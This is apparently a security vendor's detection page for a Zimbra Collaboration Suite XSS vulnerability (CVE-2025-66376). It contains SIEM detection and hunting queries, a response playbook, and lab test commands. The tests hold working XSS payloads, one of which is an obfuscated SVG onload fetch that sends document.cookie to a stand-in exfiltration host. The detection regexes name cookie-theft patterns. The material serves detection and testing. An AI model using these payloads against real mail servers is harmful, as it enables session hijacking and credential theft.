CVE-2025-66376

Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Exploitation

Detects exploitation attempts targeting CVE-2025-66376, a cross-site scripting vulnerability in Synacor Zimbra Collaboration Suite (ZCS). This KEV-listed vulnerability allows attackers to inject malicious scripts into the Zimbra web interface, potentially leading to session hijacking, credential theft, or further compromise of email infrastructure. Active exploitation has been confirmed by CISA.

Vulnerability Intelligence

KEV — Known Exploited

Affected Software

Vendor
Synacor
Product
Zimbra Collaboration Suite (ZCS)

Weakness (CWE)

Timeline

Disclosed
March 18, 2026

CVSS

6.1
Medium (4.0–6.9)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Write-up coming soon

What is CVE-2025-66376 Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Exploitation?

Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Exploitation (CVE-2025-66376) maps to the Initial Access and Credential Access and Collection tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Exploitation, covering the data sources and telemetry it touches: CommonSecurityLog, W3CIISLog, Azure WAF Logs, Nginx Access Logs. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Credential Access Collection
Microsoft Sentinel / Defender
kusto
union CommonSecurityLog, W3CIISLog
| where TimeGenerated >= ago(7d)
| where (RequestURL contains "/zimbra/" or csUriStem contains "/zimbra/" or RequestURL contains "/service/home/" or csUriStem contains "/service/home/")
| where (
    RequestURL matches regex @"(?i)(<script|javascript:|onerror=|onload=|onmouseover=|onfocus=|<img[^>]+src=|<svg[^>]+onload=|<iframe|<body[^>]+on\w+=|eval\(|document\.cookie|window\.location)"
    or csUriStem matches regex @"(?i)(<script|javascript:|onerror=|onload=|onmouseover=|onfocus=|<img[^>]+src=|<svg[^>]+onload=|<iframe|<body[^>]+on\w+=|eval\(|document\.cookie|window\.location)"
    or RequestBody matches regex @"(?i)(<script|javascript:|onerror=|onload=|eval\(|document\.cookie)"
)
| extend SourceIP = coalesce(SourceIP, cIP)
| extend RequestPath = coalesce(RequestURL, csUriStem)
| project TimeGenerated, SourceIP, RequestPath, RequestMethod = coalesce(RequestMethod, csMethod), ResponseCode = coalesce(EventOutcome, scStatus), UserAgent = coalesce(RequestClientApplication, csUserAgent)
| summarize AttemptCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), RequestPaths = make_set(RequestPath, 20) by SourceIP, UserAgent
| where AttemptCount >= 1
| extend RiskScore = case(AttemptCount >= 10, "High", AttemptCount >= 3, "Medium", "Low")
| sort by AttemptCount desc

Detects HTTP requests to Zimbra web paths containing XSS payloads including script tags, event handlers, and JavaScript URI schemes. Aggregates by source IP and user agent to surface scanning and exploitation patterns.

high severity medium confidence

Data Sources

CommonSecurityLog W3CIISLog Azure WAF Logs Nginx Access Logs

Required Tables

CommonSecurityLog W3CIISLog

False Positives

  • Security scanners and vulnerability assessment tools probing Zimbra endpoints
  • Penetration testing engagements with authorized scope covering mail infrastructure
  • HTML content in legitimate email forwarding or preview requests containing encoded angle brackets
  • URL encoding in legitimate Zimbra search queries that partially match XSS patterns

Sigma rule & cross-platform mapping

The detection logic for Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Exploitation (CVE-2025-66376) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  product: azure

Browse the community-maintained Sigma rules for this technique:

Last updated: 2026-06-19 Research depth: standard
References (2)

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Basic Reflected XSS Probe Against Zimbra Login

    Expected signal: HTTP request to /zimbra/h/search with '<script>' in query parameter visible in web server access logs and WAF logs. Response code 200 or 302 depending on authentication state.

  2. Test 2Event Handler XSS Payload via Zimbra Mail Search

    Expected signal: HTTP GET request with URL-encoded onerror= payload in query string visible in Zimbra access logs. Source IP and full URI captured in web server logs.

  3. Test 3SVG-Based XSS Payload Injection via Zimbra SOAP API

    Expected signal: HTTP POST to /service/soap/ with SVG onload payload in request body. Body content inspection required — perimeter WAF or SIEM HTTP body logging must be enabled to capture this variant.

  4. Test 4JavaScript URI Scheme XSS in Zimbra Contact Import

    Expected signal: HTTP POST to /service/home/ with multipart form data containing vCard. File upload logged in Zimbra access and mailbox logs. The javascript: URI in vCard URL field tests stored XSS if imported contact is rendered without sanitization.


Response Playbook

Triage

  1. Confirm the targeted host is running Zimbra Collaboration Suite by checking service banners, application logs at /opt/zimbra/log/, or CMDB records. Verify the Zimbra version is within affected range per the vendor advisory at https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories.
  2. Review the source IP's full request history against the Zimbra endpoint for the past 72 hours. Determine whether the request pattern represents a single targeted probe, a systematic XSS fuzzing campaign, or a successful payload delivery indicated by a 200 response code.
  3. Inspect Zimbra mailbox and zimbraAdmin logs for any subsequent authenticated sessions originating from the attacking IP or any unusual OAuth token issuance, password changes, or mail forwarding rule additions following the XSS attempt.
  4. Check if the XSS payload was stored (persistent XSS) by reviewing Zimbra database content for injected script tags in contacts, calendar entries, mail signatures, or shared documents that could execute against other users.

Containment

  1. If active exploitation is confirmed or a stored XSS payload is discovered, immediately block the source IP at the perimeter firewall and WAF. Enable Zimbra's built-in input sanitization and deploy WAF rules filtering script injection patterns for all /zimbra/ and /service/ URL paths.
  2. Invalidate all active Zimbra web session tokens (ZM_AUTH_TOKEN) by restarting the Zimbra mailbox service (`zmcontrol restart`) or revoking sessions via the Zimbra Admin Console under Accounts > Sessions. This terminates any hijacked sessions before the attacker can exfiltrate data or pivot to additional accounts.

Evidence Collection

  1. Collect Zimbra access logs (/opt/zimbra/log/access_log.*), mailbox logs (/opt/zimbra/log/mailbox.log.*), and audit logs (/opt/zimbra/log/audit.log) covering the attack window. Preserve originals with SHA-256 hashes before any log rotation.
  2. Export Zimbra database records for affected user accounts including mail forwarding rules (zimbraMailForwardingAddress), delegates, and connected third-party applications. Capture browser session artifacts if an admin account was targeted, including any newly created admin accounts or API keys.

Escalation Criteria

  • ! Escalate immediately if any Zimbra administrator account shows signs of session hijacking: unexpected admin console logins, new admin account creation, global configuration changes, or certificate replacement activity within the attack timeframe.
  • ! Escalate to incident response if a stored XSS payload is found that has already executed in other users' browsers — this indicates mass credential harvesting or session token exfiltration may have occurred across the entire Zimbra user base.

Investigation Guide

Forensic Artifacts

  • > Zimbra access logs at /opt/zimbra/log/access_log containing raw HTTP request URIs with injected payloads
  • > Zimbra audit logs at /opt/zimbra/log/audit.log recording authentication events, account modifications, and admin actions post-exploitation
  • > Browser forensic artifacts on victim endpoints: session storage containing ZM_AUTH_TOKEN values, browser history showing Zimbra webmail access, and network captures showing exfiltration beacons if JavaScript payload included C2 callbacks
  • > Zimbra LDAP/database records showing mail forwarding rule additions, delegate access grants, or new connected app authorizations created during the exploitation window

Tuning Guidance

Reduce false positives by building an allowlist of authorized vulnerability scanner IP addresses and excluding them from alerting while retaining logging. Implement URL decoding normalization in your SIEM pipeline before pattern matching to catch encoded payloads (%3Cscript, %3C%2Fscript). Tune confidence to 'high' once WAF blocking is confirmed and only alerting on payloads that bypass WAF (HTTP 200/302 responses). For Zimbra deployments behind a CDN or reverse proxy, ensure the original client IP is preserved via X-Forwarded-For headers to avoid attributing all traffic to the proxy IP.


Hunting Queries

Threat hunt for URL-encoded XSS payloads that may have evaded initial detection. Searches for double and single URL-encoded XSS patterns in Zimbra paths with successful HTTP response codes, indicating possible successful payload delivery rather than blocked attempts.

Hunting — KQL
kql
CommonSecurityLog
| where TimeGenerated >= ago(30d)
| where RequestURL contains "/zimbra/" or csUriStem contains "/zimbra/"
| where EventOutcome in ("200", "201", "302")
| where RequestURL matches regex @"(?i)(%3Cscript|%3C%2Fscript|javascript%3A|onerror%3D|onload%3D|%3Csvg|document%2Ecookie)"
| project TimeGenerated, SourceIP, RequestURL, EventOutcome, RequestClientApplication
| sort by TimeGenerated desc
Hunting — SPL
spl
index=web OR index=proxy earliest=-30d
| where (like(uri, "%/zimbra/%") OR like(uri, "%/service/home/%"))
| where status IN ("200", "201", "302")
| where (like(uri, "%25253Cscript%25") OR like(uri, "%2525javascript%25") OR like(uri, "%253Csvg%25") OR like(uri, "%25onerror%25") OR match(uri, "(?i)(%3cscript|javascript:|onerror=|onload=)"))
| stats count by src_ip, uri, status
| sort - count

Post-exploitation hunting query for suspicious administrative actions in Zimbra following a potential XSS session hijack. Focuses on account creation, password resets, and privilege escalation that indicate an attacker leveraged a stolen admin session.

Hunting — KQL
kql
AuditLogs
| where TimeGenerated >= ago(14d)
| where OperationName contains "Zimbra" or TargetResources has_any ("/zimbra", "ZCS", "Zimbra")
| where InitiatedBy.user.ipAddress !in (known_admin_ips)
| project TimeGenerated, OperationName, InitiatedBy, TargetResources, Result
| sort by TimeGenerated desc
Hunting — SPL
spl
index=zimbra sourcetype=zimbra:audit earliest=-14d
| where action IN ("CreateAccount", "DeleteAccount", "ModifyAccount", "AddAccountAlias", "SetPassword", "AddDistributionListMember")
| stats count, values(src_ip) as src_ips, values(target) as targets by user, action
| where mvcount(src_ips) > 1 OR count > 5

Atomic Red Team Tests

Test 1 Basic Reflected XSS Probe Against Zimbra Login
linux

Simulates an attacker probing the Zimbra login endpoint with a basic reflected XSS payload to test if user input is reflected unsanitized in the HTTP response. Lab use only against an isolated Zimbra test instance.

Command

bash
curl -sk 'https://ZIMBRA_HOST/zimbra/h/search?q=<script>alert(document.cookie)</script>' -H 'User-Agent: Mozilla/5.0 (XSS-Test)' -o /tmp/zimbra_xss_response.html && grep -i 'script' /tmp/zimbra_xss_response.html | head -20

Cleanup

bash
rm -f /tmp/zimbra_xss_response.html

Expected Telemetry

HTTP request to /zimbra/h/search with '<script>' in query parameter visible in web server access logs and WAF logs. Response code 200 or 302 depending on authentication state.

Expected Detection

KQL/SPL queries matching '<script' pattern in Zimbra URI path. WAF should block and generate an alert; if WAF is absent or misconfigured, SIEM detection fires on the raw log.

Test 2 Event Handler XSS Payload via Zimbra Mail Search
linux

Tests Zimbra search functionality with an event-handler-based XSS payload that bypasses simple script-tag filters. Uses an img onerror attribute to test for DOM-based or reflected XSS in search result rendering.

Command

bash
curl -sk -b 'ZM_AUTH_TOKEN=TEST_TOKEN' 'https://ZIMBRA_HOST/zimbra/h/search?q=test%22><img%20src=x%20onerror=alert(1)>&limit=25' -H 'Accept: text/html' -o /tmp/zimbra_onerror_test.html && echo 'Response size:' && wc -c /tmp/zimbra_onerror_test.html

Cleanup

bash
rm -f /tmp/zimbra_onerror_test.html

Expected Telemetry

HTTP GET request with URL-encoded onerror= payload in query string visible in Zimbra access logs. Source IP and full URI captured in web server logs.

Expected Detection

Detection triggers on 'onerror=' pattern match in Zimbra URL paths. URL-encoded variant (%20onerror%3D) requires SIEM URL-decode normalization to catch — validate this tuning gap.

Test 3 SVG-Based XSS Payload Injection via Zimbra SOAP API
linux

Simulates a more sophisticated XSS attempt using an SVG onload payload submitted through the Zimbra SOAP API endpoint, testing whether server-side input validation sanitizes XML/SVG content before storage or reflection.

Command

bash
curl -sk -X POST 'https://ZIMBRA_HOST/service/soap/' -H 'Content-Type: application/soap+xml' -H 'User-Agent: ZimbraSOAP-XSS-Test/1.0' -d '<?xml version="1.0" encoding="utf-8" ?><soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Body><SearchRequest xmlns="urn:zimbraMail" types="message" limit="1"><query><svg onload="fetch(atob(\"aHR0cHM6Ly9leGZpbC50ZXN0L3hvP2M9\"+btoa(document.cookie)))"/></query></SearchRequest></soap:Body></soap:Envelope>' -o /tmp/zimbra_soap_xss.xml && echo 'SOAP response captured'

Cleanup

bash
rm -f /tmp/zimbra_soap_xss.xml

Expected Telemetry

HTTP POST to /service/soap/ with SVG onload payload in request body. Body content inspection required — perimeter WAF or SIEM HTTP body logging must be enabled to capture this variant.

Expected Detection

Detection fires on '<svg' and 'onload=' patterns in HTTP request body if body content inspection is enabled. Tests a critical gap: query-only detections miss POST body payloads. Validates that body-inspection rules are in scope.

Test 4 JavaScript URI Scheme XSS in Zimbra Contact Import
linux

Tests the Zimbra contact import functionality with a vCard containing a javascript: URI scheme in a URL field to probe for stored XSS via the contact management interface.

Command

bash
printf 'BEGIN:VCARD\nVERSION:3.0\nFN:XSS Test Contact\nURL:javascript:alert(document.cookie)//\nEND:VCARD\n' > /tmp/xss_contact.vcf && curl -sk -F 'file=@/tmp/xss_contact.vcf' -b 'ZM_AUTH_TOKEN=TEST_TOKEN' 'https://ZIMBRA_HOST/service/home/~/?fmt=vcf&force=1' -o /tmp/zimbra_import_response.html && echo 'Import attempted'

Cleanup

bash
rm -f /tmp/xss_contact.vcf /tmp/zimbra_import_response.html

Expected Telemetry

HTTP POST to /service/home/ with multipart form data containing vCard. File upload logged in Zimbra access and mailbox logs. The javascript: URI in vCard URL field tests stored XSS if imported contact is rendered without sanitization.

Expected Detection

Detection may not fire on this vector unless body inspection covers multipart form fields. This test is designed to identify blind spots in current detection coverage — a negative result (no alert) indicates a tuning gap for file-upload XSS paths.

Related Detections